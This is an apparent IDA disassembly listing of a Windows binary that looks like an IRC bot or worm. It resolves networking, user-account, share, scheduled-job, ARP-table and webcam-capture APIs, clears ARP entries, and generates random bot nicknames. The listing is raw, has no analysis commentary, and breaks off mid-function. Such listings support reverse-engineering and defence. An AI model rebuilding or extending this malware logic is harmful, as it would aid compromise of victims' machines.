cmp dword_4D1230, ebx
jz loc_40A242
cmp dword_4D11F0, ebx
jz loc_40A242
cmp dword_4D11EC, ebx
jz loc_40A242
cmp dword_4D1120, ebx
jz short loc_40A242
cmp dword_4D1240, ebx
jz short loc_40A242
cmp dword_4D1254, ebx
jz short loc_40A242
cmp dword_4D1208, ebx
jz short loc_40A242
cmp dword_4D11C8, ebx
jz short loc_40A242
cmp dword_4D121C, ebx
jz short loc_40A242
cmp dword_4D11D8, ebx
jz short loc_40A242
cmp dword_4D1218, ebx
jz short loc_40A242
cmp dword_4D1284, ebx
jz short loc_40A242
cmp dword_4D11D0, ebx
jz short loc_40A242
cmp dword_4D1194, ebx
jz short loc_40A242
cmp dword_4D1204, ebx
jz short loc_40A242
cmp dword_4D1274, ebx
jz short loc_40A242
cmp dword_4D11A8, ebx
jz short loc_40A242
cmp eax, ebx
jnz short loc_40A24C
jmp short loc_40A242
; ---------------------------------------------------------------------------
loc_40A237: ; CODE XREF: sub_409A6D+51Fj
call dword_42708C ; RtlGetLastWin32Error
mov dword_4D12D4, eax
loc_40A242: ; CODE XREF: sub_409A6D+6BEj
; sub_409A6D+6CAj ...
mov dword_4D12D0, 1
loc_40A24C: ; CODE XREF: sub_409A6D+7C6j
push offset aWininet_dll ; "wininet.dll"
call ebp ; dword_4270B8
mov edi, eax
cmp edi, ebx
jz loc_40A351
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; dword_4270BC
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_4D112C, eax
call esi ; dword_4270BC
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_4D10B4, eax
call esi ; dword_4270BC
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_4D11B8, eax
call esi ; dword_4270BC
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_4D1164, eax
call esi ; dword_4270BC
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_4D11C4, eax
call esi ; dword_4270BC
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_4D1188, eax
call esi ; dword_4270BC
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_4D10F4, eax
call esi ; dword_4270BC
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_4D10EC, eax
call esi ; dword_4270BC
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_4D10FC, eax
call esi ; dword_4270BC
cmp dword_4D112C, ebx
mov ecx, dword_4D1188
mov dword_4D1224, eax
jz short loc_40A32D
cmp dword_4D10B4, ebx
jz short loc_40A32D
cmp dword_4D11B8, ebx
jz short loc_40A32D
cmp dword_4D1164, ebx
jz short loc_40A32D
cmp dword_4D11C4, ebx
jz short loc_40A32D
cmp ecx, ebx
jz short loc_40A32D
cmp dword_4D10F4, ebx
jz short loc_40A32D
cmp dword_4D10EC, ebx
jz short loc_40A32D
cmp dword_4D10FC, ebx
jz short loc_40A32D
cmp eax, ebx
jnz short loc_40A337
loc_40A32D: ; CODE XREF: sub_409A6D+87Ej
; sub_409A6D+886j ...
mov dword_4D12D8, 1
loc_40A337: ; CODE XREF: sub_409A6D+8BEj
cmp ecx, ebx
jz short loc_40A36C
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx ; dword_4D1188
cmp eax, ebx
mov dword_4D11A0, eax
jnz short loc_40A36C
jmp short loc_40A366
; ---------------------------------------------------------------------------
loc_40A351: ; CODE XREF: sub_409A6D+7EAj
call dword_42708C ; RtlGetLastWin32Error
mov dword_4D12DC, eax
mov dword_4D12D8, 1
loc_40A366: ; CODE XREF: sub_409A6D+8E2j
mov dword_4D11A0, ebx
loc_40A36C: ; CODE XREF: sub_409A6D+8CCj
; sub_409A6D+8E0j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; dword_4270B8
mov edi, eax
cmp edi, ebx
jz short loc_40A3B6
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; dword_4270BC
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_4D1178, eax
call esi ; dword_4270BC
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_4D12A8, eax
call esi ; dword_4270BC
cmp dword_4D1178, ebx
mov dword_4D1108, eax
jz short loc_40A3C1
cmp dword_4D12A8, ebx
jz short loc_40A3C1
cmp eax, ebx
jnz short loc_40A3CB
jmp short loc_40A3C1
; ---------------------------------------------------------------------------
loc_40A3B6: ; CODE XREF: sub_409A6D+90Aj
call dword_42708C ; RtlGetLastWin32Error
mov dword_4D12E4, eax
loc_40A3C1: ; CODE XREF: sub_409A6D+939j
; sub_409A6D+941j ...
mov dword_4D12E0, 1
loc_40A3CB: ; CODE XREF: sub_409A6D+945j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; dword_4270B8
mov edi, eax
cmp edi, ebx
jz loc_40A4D2
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; dword_4270BC
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_4D10E4, eax
call esi ; dword_4270BC
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_4D10BC, eax
call esi ; dword_4270BC
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_4D1134, eax
call esi ; dword_4270BC
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_4D1168, eax
call esi ; dword_4270BC
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_4D1280, eax
call esi ; dword_4270BC
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_4D111C, eax
call esi ; dword_4270BC
push offset aNetuserdel ; "NetUserDel"
push edi
mov dword_4D10C8, eax
call esi ; dword_4270BC
push offset aNetuserenum ; "NetUserEnum"
push edi
mov dword_4D10B8, eax
call esi ; dword_4270BC
push offset aNetusergetinfo ; "NetUserGetInfo"
push edi
mov dword_4D1150, eax
call esi ; dword_4270BC
push offset aNetmessagebuff ; "NetMessageBufferSend"
push edi
mov dword_4D1248, eax
call esi ; dword_4270BC
push offset aNetwkstagetinf ; "NetWkstaGetInfo"
push edi
mov dword_4D1200, eax
call esi ; dword_4270BC
cmp dword_4D10E4, ebx
mov dword_4D1124, eax
jz short loc_40A4DD
cmp dword_4D10BC, ebx
jz short loc_40A4DD
cmp dword_4D1134, ebx
jz short loc_40A4DD
cmp dword_4D1168, ebx
jz short loc_40A4DD
cmp dword_4D1280, ebx
jz short loc_40A4DD
cmp dword_4D111C, ebx
jz short loc_40A4DD
cmp dword_4D10C8, ebx
jz short loc_40A4DD
cmp dword_4D10B8, ebx
jz short loc_40A4DD
cmp dword_4D1150, ebx
jz short loc_40A4DD
cmp dword_4D1248, ebx
jz short loc_40A4DD
cmp dword_4D1200, ebx
jnz short loc_40A4E7
jmp short loc_40A4DD
; ---------------------------------------------------------------------------
loc_40A4D2: ; CODE XREF: sub_409A6D+969j
call dword_42708C ; RtlGetLastWin32Error
mov dword_4D12EC, eax
loc_40A4DD: ; CODE XREF: sub_409A6D+A11j
; sub_409A6D+A19j ...
mov dword_4D12E8, 1
loc_40A4E7: ; CODE XREF: sub_409A6D+A61j
push offset aDnsapi_dll ; "dnsapi.dll"
call ebp ; dword_4270B8
mov edi, eax
cmp edi, ebx
jz short loc_40A51C
push offset aDnsflushresolv ; "DnsFlushResolverCache"
push edi
call esi ; dword_4270BC
push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
push edi
mov dword_4D110C, eax
call esi ; dword_4270BC
cmp dword_4D110C, ebx
mov dword_4D11E8, eax
jz short loc_40A527
cmp eax, ebx
jnz short loc_40A531
jmp short loc_40A527
; ---------------------------------------------------------------------------
loc_40A51C: ; CODE XREF: sub_409A6D+A85j
call dword_42708C ; RtlGetLastWin32Error
mov dword_4D12F4, eax
loc_40A527: ; CODE XREF: sub_409A6D+AA7j
; sub_409A6D+AADj
mov dword_4D12F0, 1
loc_40A531: ; CODE XREF: sub_409A6D+AABj
push offset aIphlpapi_dll ; "iphlpapi.dll"
call ebp ; dword_4270B8
mov edi, eax
cmp edi, ebx
jz short loc_40A566
push offset aGetipnettable ; "GetIpNetTable"
push edi
call esi ; dword_4270BC
push offset aDeleteipnetent ; "DeleteIpNetEntry"
push edi
mov dword_4D126C, eax
call esi ; dword_4270BC
cmp dword_4D126C, ebx
mov dword_4D1268, eax
jz short loc_40A571
cmp eax, ebx
jnz short loc_40A57B
jmp short loc_40A571
; ---------------------------------------------------------------------------
loc_40A566: ; CODE XREF: sub_409A6D+ACFj
call dword_42708C ; RtlGetLastWin32Error
mov dword_4D12FC, eax
loc_40A571: ; CODE XREF: sub_409A6D+AF1j
; sub_409A6D+AF7j
mov dword_4D12F8, 1
loc_40A57B: ; CODE XREF: sub_409A6D+AF5j
push offset aMpr_dll ; "mpr.dll"
call ebp ; dword_4270B8
mov edi, eax
cmp edi, ebx
jz short loc_40A5DA
push offset aWnetaddconnect ; "WNetAddConnection2A"
push edi
call esi ; dword_4270BC
push offset aWnetaddconne_0 ; "WNetAddConnection2W"
push edi
mov dword_4D1298, eax
call esi ; dword_4270BC
push offset aWnetcancelconn ; "WNetCancelConnection2A"
push edi
mov dword_4D1290, eax
call esi ; dword_4270BC
push offset aWnetcancelco_0 ; "WNetCancelConnection2W"
push edi
mov dword_4D1258, eax
call esi ; dword_4270BC
cmp dword_4D1298, ebx
mov dword_4D1128, eax
jz short loc_40A5E5
cmp dword_4D1290, ebx
jz short loc_40A5E5
cmp dword_4D1258, ebx
jz short loc_40A5E5
cmp eax, ebx
jnz short loc_40A5EF
jmp short loc_40A5E5
; ---------------------------------------------------------------------------
loc_40A5DA: ; CODE XREF: sub_409A6D+B19j
call dword_42708C ; RtlGetLastWin32Error
mov dword_4D1304, eax
loc_40A5E5: ; CODE XREF: sub_409A6D+B55j
; sub_409A6D+B5Dj ...
mov dword_4D1300, 1
loc_40A5EF: ; CODE XREF: sub_409A6D+B69j
push offset aShell32_dll ; "shell32.dll"
call ebp ; dword_4270B8
mov edi, eax
cmp edi, ebx
jz short loc_40A624
push offset aShellexecutea ; "ShellExecuteA"
push edi
call esi ; dword_4270BC
push offset aShchangenotify ; "SHChangeNotify"
push edi
mov dword_4D115C, eax
call esi ; dword_4270BC
cmp dword_4D115C, ebx
mov dword_4D1264, eax
jz short loc_40A62F
cmp eax, ebx
jnz short loc_40A639
jmp short loc_40A62F
; ---------------------------------------------------------------------------
loc_40A624: ; CODE XREF: sub_409A6D+B8Dj
call dword_42708C ; RtlGetLastWin32Error
mov dword_4D130C, eax
loc_40A62F: ; CODE XREF: sub_409A6D+BAFj
; sub_409A6D+BB5j
mov dword_4D1308, 1
loc_40A639: ; CODE XREF: sub_409A6D+BB3j
push offset aOdbc32_dll ; "odbc32.dll"
call ebp ; dword_4270B8
mov edi, eax
cmp edi, ebx
jz short loc_40A6C2
push offset aSqldriverconne ; "SQLDriverConnect"
push edi
call esi ; dword_4270BC
push offset aSqlsetenvattr ; "SQLSetEnvAttr"
push edi
mov dword_4D122C, eax
call esi ; dword_4270BC
push offset aSqlexecdirect ; "SQLExecDirect"
push edi
mov dword_4D1278, eax
call esi ; dword_4270BC
push offset aSqlallochandle ; "SQLAllocHandle"
push edi
mov dword_4D11B4, eax
call esi ; dword_4270BC
push offset aSqlfreehandle ; "SQLFreeHandle"
push edi
mov dword_4D116C, eax
call esi ; dword_4270BC
push offset aSqldisconnect ; "SQLDisconnect"
push edi
mov dword_4D120C, eax
call esi ; dword_4270BC
cmp dword_4D122C, ebx
mov dword_4D117C, eax
jz short loc_40A6CD
cmp dword_4D1278, ebx
jz short loc_40A6CD
cmp dword_4D11B4, ebx
jz short loc_40A6CD
cmp dword_4D116C, ebx
jz short loc_40A6CD
cmp dword_4D120C, ebx
jz short loc_40A6CD
cmp eax, ebx
jnz short loc_40A6D7
jmp short loc_40A6CD
; ---------------------------------------------------------------------------
loc_40A6C2: ; CODE XREF: sub_409A6D+BD7j
call dword_42708C ; RtlGetLastWin32Error
mov dword_4D1314, eax
loc_40A6CD: ; CODE XREF: sub_409A6D+C2Dj
; sub_409A6D+C35j ...
mov dword_4D1310, 1
loc_40A6D7: ; CODE XREF: sub_409A6D+C51j
push offset aAvicap32_dll ; "avicap32.dll"
call ebp ; dword_4270B8
mov edi, eax
cmp edi, ebx
jz short loc_40A70C
push offset aCapcreatecaptu ; "capCreateCaptureWindowA"
push edi
call esi ; dword_4270BC
push offset aCapgetdriverde ; "capGetDriverDescriptionA"
push edi
mov dword_4D1140, eax
call esi ; dword_4270BC
cmp dword_4D1140, ebx
mov dword_4D1220, eax
jz short loc_40A717
cmp eax, ebx
jnz short loc_40A721
jmp short loc_40A717
; ---------------------------------------------------------------------------
loc_40A70C: ; CODE XREF: sub_409A6D+C75j
call dword_42708C ; RtlGetLastWin32Error
mov dword_4D131C, eax
loc_40A717: ; CODE XREF: sub_409A6D+C97j
; sub_409A6D+C9Dj
mov dword_4D1318, 1
loc_40A721: ; CODE XREF: sub_409A6D+C9Bj
push 1
pop eax
pop edi
pop esi
pop ebp
pop ebx
retn
sub_409A6D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A729 proc near ; CODE XREF: .nsp0:00403FFEp
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push ebx
mov ebx, [ebp+arg_4]
push esi
xor esi, esi
cmp dword_4D12B0, esi
push edi
mov edi, [ebp+arg_8]
jz short loc_40A771
push dword_4D12B4
lea eax, [ebp+var_200]
push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
push eax
call sub_41BF36
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4099D2
add esp, 20h
loc_40A771: ; CODE XREF: sub_40A729+1Aj
cmp dword_4D12B8, esi
jz short loc_40A7A5
push dword_4D12BC
lea eax, [ebp+var_200]
push offset aUser32_dllFail ; "User32.dll failed. <%d>"
push eax
call sub_41BF36
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4099D2
add esp, 20h
loc_40A7A5: ; CODE XREF: sub_40A729+4Ej
cmp dword_4D12C0, esi
jz short loc_40A7D9
push dword_4D12C4
lea eax, [ebp+var_200]
push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
push eax
call sub_41BF36
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4099D2
add esp, 20h
loc_40A7D9: ; CODE XREF: sub_40A729+82j
cmp dword_4D12C8, esi
jz short loc_40A80D
push dword_4D12CC
lea eax, [ebp+var_200]
push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
push eax
call sub_41BF36
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4099D2
add esp, 20h
loc_40A80D: ; CODE XREF: sub_40A729+B6j
cmp dword_4D12D0, esi
jz short loc_40A841
push dword_4D12D4
lea eax, [ebp+var_200]
push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
push eax
call sub_41BF36
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4099D2
add esp, 20h
loc_40A841: ; CODE XREF: sub_40A729+EAj
cmp dword_4D12D8, esi
jz short loc_40A875
push dword_4D12DC
lea eax, [ebp+var_200]
push offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
push eax
call sub_41BF36
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4099D2
add esp, 20h
loc_40A875: ; CODE XREF: sub_40A729+11Ej
cmp dword_4D12E0, esi
jz short loc_40A8A9
push dword_4D12E4
lea eax, [ebp+var_200]
push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
push eax
call sub_41BF36
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4099D2
add esp, 20h
loc_40A8A9: ; CODE XREF: sub_40A729+152j
cmp dword_4D12E8, esi
jz short loc_40A8DD
push dword_4D12EC
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41BF36
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4099D2
add esp, 20h
loc_40A8DD: ; CODE XREF: sub_40A729+186j
cmp dword_4D12F0, esi
jz short loc_40A911
push dword_4D12F4
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41BF36
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4099D2
add esp, 20h
loc_40A911: ; CODE XREF: sub_40A729+1BAj
cmp dword_4D12F8, esi
jz short loc_40A945
push dword_4D12FC
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41BF36
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4099D2
add esp, 20h
loc_40A945: ; CODE XREF: sub_40A729+1EEj
cmp dword_4D1300, esi
jz short loc_40A979
push dword_4D1304
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41BF36
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4099D2
add esp, 20h
loc_40A979: ; CODE XREF: sub_40A729+222j
cmp dword_4D1308, esi
jz short loc_40A9AD
push dword_4D130C
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41BF36
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4099D2
add esp, 20h
loc_40A9AD: ; CODE XREF: sub_40A729+256j
cmp dword_4D1310, esi
jz short loc_40A9E1
push dword_4D1314
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41BF36
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4099D2
add esp, 20h
loc_40A9E1: ; CODE XREF: sub_40A729+28Aj
cmp dword_4D1318, esi
jz short loc_40AA15
push dword_4D131C
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_41BF36
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4099D2
add esp, 20h
loc_40AA15: ; CODE XREF: sub_40A729+2BEj
lea eax, [ebp+var_200]
push offset unk_433F80
push eax
call sub_41BF36
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40AA42
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_4099D2
add esp, 14h
loc_40AA42: ; CODE XREF: sub_40A729+302j
lea eax, [ebp+var_200]
push eax
call sub_4157A6
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A729 endp
; =============== S U B R O U T I N E =======================================
sub_40AA54 proc near ; CODE XREF: sub_4018A1+4Fp
; .nsp0:004076F8p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4D1230 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_40AA7C
push [esp+arg_0]
call dword_4D1274 ; gethostbyname
test eax, eax
jnz short loc_40AA75
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40AA75: ; CODE XREF: sub_40AA54+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40AA7C: ; CODE XREF: sub_40AA54+Dj
retn
sub_40AA54 endp
; =============== S U B R O U T I N E =======================================
sub_40AA7D proc near ; CODE XREF: sub_4018A1+D6p
mov ecx, dword_4D110C
xor eax, eax
test ecx, ecx
jz short locret_40AA8B
call ecx ; dword_4D110C
locret_40AA8B: ; CODE XREF: sub_40AA7D+Aj
retn
sub_40AA7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA8C proc near ; CODE XREF: .nsp0:loc_403F58p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_4D126C ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz loc_40AB52
sub ecx, 32h
jz loc_40AB4B
sub ecx, 48h
jz short loc_40AAEC
sub ecx, 6Eh
jz short loc_40AAE5
loc_40AACE: ; CODE XREF: sub_40AA8C+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_434194
push eax
call sub_41BF36
add esp, 0Ch
jmp short loc_40AB2C
; ---------------------------------------------------------------------------
loc_40AAE5: ; CODE XREF: sub_40AA8C+40j
push offset unk_434170
jmp short loc_40AB1E
; ---------------------------------------------------------------------------
loc_40AAEC: ; CODE XREF: sub_40AA8C+3Bj
push [ebp+var_8]
call sub_41BBCB
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_41BC40
add esp, 10h
cmp esi, edi
jz short loc_40AB19
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_4D126C ; GetIpNetTable
cmp eax, edi
jz short loc_40AB52
jmp short loc_40AACE
; ---------------------------------------------------------------------------
loc_40AB19: ; CODE XREF: sub_40AA8C+79j
push offset unk_434140
loc_40AB1E: ; CODE XREF: sub_40AA8C+5Ej
; sub_40AA8C+C4j
lea eax, [ebp+var_88]
push eax
call sub_41BF36
pop ecx
pop ecx
loc_40AB2C: ; CODE XREF: sub_40AA8C+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_4157A6
pop ecx
loc_40AB3C: ; CODE XREF: sub_40AA8C+C8j
; sub_40AA8C+DCj
push esi
call sub_41B961
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40AB4B: ; CODE XREF: sub_40AA8C+32j
push offset unk_434110
jmp short loc_40AB1E
; ---------------------------------------------------------------------------
loc_40AB52: ; CODE XREF: sub_40AA8C+29j
; sub_40AA8C+89j
cmp [esi], edi
jbe short loc_40AB3C
lea ebx, [esi+4]
loc_40AB59: ; CODE XREF: sub_40AA8C+DAj
push ebx
call dword_4D1268 ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40AB59
jmp short loc_40AB3C
sub_40AA8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AB6A proc near ; CODE XREF: .nsp0:00403D12p
; .nsp0:00403E4Ap ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41BC40
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_4D1194 ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4D1320
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41BF36
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AB6A endp
; =============== S U B R O U T I N E =======================================
sub_40ABC3 proc near ; CODE XREF: sub_413107+24Cp
; sub_413107+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40ABEC
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40ABDF: ; CODE XREF: sub_40ABC3+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40ABDF
pop edi
jmp short loc_40ABF0
; ---------------------------------------------------------------------------
loc_40ABEC: ; CODE XREF: sub_40ABC3+Aj
mov edx, [esp+4+arg_0]
loc_40ABF0: ; CODE XREF: sub_40ABC3+27j
test esi, esi
pop esi
jz short loc_40ABFA
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40ABFA: ; CODE XREF: sub_40ABC3+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40ABC3 endp
; =============== S U B R O U T I N E =======================================
sub_40AC10 proc near ; CODE XREF: sub_40AFA5+49p
; DATA XREF: .nsp0:off_4341E0o
arg_0 = dword ptr 4
push esi
push edi
call dword_4270A8 ; GetTickCount
push eax
call sub_41BF88
call sub_41BF92
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+0Ch+arg_0]
push off_434248[edx*4]
push offset aS_2 ; "%s"
push 1Ch
push edi
call sub_41C030
xor esi, esi
add esp, 14h
cmp dword_429098, esi
jle short loc_40AC77
loc_40AC51: ; CODE XREF: sub_40AC10+65j
call sub_41BF92
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_432140
push 1Ch
push edi
call sub_41C030
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AC51
loc_40AC77: ; CODE XREF: sub_40AC10+3Fj
mov eax, edi
pop edi
pop esi
retn
sub_40AC10 endp
; ---------------------------------------------------------------------------
push esi
push edi
call dword_4270A8 ; GetTickCount
push eax
call sub_41BF88
mov edi, [esp+10h]
mov dword ptr [esp], offset aO1 ; "o1"
push offset aS_2 ; "%s"
push 1Ch
push edi
call sub_41C030
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40ACD5
loc_40ACAF: ; CODE XREF: .nsp0:0040ACD3j
call sub_41BF92
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_432140
push 1Ch
push edi
call sub_41C030
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ACAF
loc_40ACD5: ; CODE XREF: .nsp0:0040ACADj
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
call dword_4270A8 ; GetTickCount
push eax
call sub_41BF88
pop ecx
call sub_41BF92
push 3
mov ebx, [esp+14h]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_429098
test esi, esi
jle short loc_40AD1D
loc_40AD07: ; CODE XREF: .nsp0:0040AD1Bj
call sub_41BF92
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40AD07
loc_40AD1D: ; CODE XREF: .nsp0:0040AD05j
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
call dword_4270A8 ; GetTickCount
push eax
call sub_41BF88
pop ecx
lea eax, [ebp-8]
mov esi, offset aPc_0 ; "PC"
push eax
push esi
call near ptr 0B40000h
jle short near ptr loc_40AD65+1
mov esi, 437EA005h
add [edx+41h], ch
pop ecx
push 1
pop edx
loc_40AD63: ; CODE XREF: .nsp0:0040AD6Ej
cmp eax, ecx
loc_40AD65: ; CODE XREF: .nsp0:0040AD55j
jnz short loc_40AD6A
mov [ebp-4], edx
loc_40AD6A: ; CODE XREF: .nsp0:loc_40AD65j
inc ecx
cmp ecx, 5Bh
jl short loc_40AD63
push 61h
pop ecx
loc_40AD73: ; CODE XREF: .nsp0:0040AD7Ej
cmp eax, ecx
jnz short loc_40AD7A
mov [ebp-4], edx
loc_40AD7A: ; CODE XREF: .nsp0:0040AD75j
inc ecx
cmp ecx, 7Bh
jl short loc_40AD73
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41C030
xor esi, esi
add esp, 0Ch
cmp dword_429098, esi
jle short loc_40ADBF
loc_40AD99: ; CODE XREF: .nsp0:0040ADBDj
call sub_41BF92
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_432140
push 1Ch
push edi
call sub_41C030
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AD99
loc_40ADBF: ; CODE XREF: .nsp0:0040AD97j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call dword_4270A8 ; GetTickCount
push eax
call sub_41BF88
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call dword_4270C4 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset aS_3 ; "%s|"
push 1Ch
push edi
call sub_41C030
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AE34
loc_40AE0E: ; CODE XREF: .nsp0:0040AE32j
call sub_41BF92
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_432140
push 1Ch
push edi
call sub_41C030
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AE0E
loc_40AE34: ; CODE XREF: .nsp0:0040AE0Cj
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
